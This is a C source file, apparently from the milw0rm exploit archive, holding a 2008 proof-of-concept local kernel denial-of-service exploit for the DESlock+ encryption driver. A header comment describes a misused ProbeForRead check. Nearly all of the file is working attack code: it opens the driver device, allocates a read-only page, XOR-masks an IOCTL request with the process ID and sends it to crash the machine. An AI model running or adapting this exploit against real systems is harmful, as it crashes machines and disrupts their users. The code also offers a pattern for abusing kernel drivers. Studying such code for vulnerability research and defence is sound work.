477bcbdcc0
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101 lines
2.5 KiB
C
Executable file
101 lines
2.5 KiB
C
Executable file
/* deslock-probe-read.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* DESlock+ <= 3.2.7 local kernel DoS POC
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* by mu-b - Sat 19 Jul 2008
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*
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* - Tested on: DLMFENC.sys 1.0.0.28
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*
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* call to ProbeForRead with a user-definable address that
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* is eventually overwritten (should have been ProbeForWrite).
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*
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* http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
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* - I wonder what that says about CESG CCTM?
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <windows.h>
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#define DLMFENC_IOCTL 0x0FA4204C
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#define DLMFENC_FLAG 0xC001D00D
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#define ARG_SIZE(a) ((a-(sizeof (int)*2))/sizeof (void *))
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struct ioctl_req {
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int flag;
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int req_num;
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void *arg[ARG_SIZE(0x20)];
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};
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static void
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xor_mask_req (struct ioctl_req *req)
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{
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DWORD i, pid;
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PCHAR ptr;
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pid = GetCurrentProcessId ();
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for (i = 0, ptr = (PCHAR) req; i < 0x0C; i++, ptr++)
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*ptr ^= pid;
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}
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int
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main (int argc, char **argv)
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{
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struct ioctl_req req;
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HANDLE hFile, hThread;
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DWORD rlen, dThread, nTotal, nFail;
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LPVOID zpage;
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BOOL result;
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printf ("DESlock+ <= 3.2.7 local kernel DoS PoC\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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fflush (stdout);
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hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
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FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
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OPEN_EXISTING, 0, NULL);
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if (hFile == INVALID_HANDLE_VALUE)
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{
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fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
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exit (EXIT_FAILURE);
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}
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zpage = VirtualAlloc (NULL, 0x1000,
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MEM_RESERVE|MEM_COMMIT, PAGE_READONLY);
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if (zpage == NULL)
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{
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fprintf (stderr, "* VirtualAlloc failed\n");
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exit (EXIT_FAILURE);
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}
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printf ("* allocated page: 0x%08X [%d-bytes]\n",
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zpage, 0x1000);
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req.flag = DLMFENC_FLAG;
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req.req_num = 18;
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req.arg[0] = (void *) zpage;
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sleep (2000);
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xor_mask_req (&req);
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result = DeviceIoControl (hFile, DLMFENC_IOCTL,
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&req, sizeof req, &req, sizeof req, &rlen, 0);
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if (!result)
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{
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fprintf (stderr, "* DeviceIoControl failed\n");
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exit (EXIT_FAILURE);
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}
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printf ("* hmmm, you didn't STOP the box?!?!\n");
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CloseHandle (hFile);
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2008-09-20]
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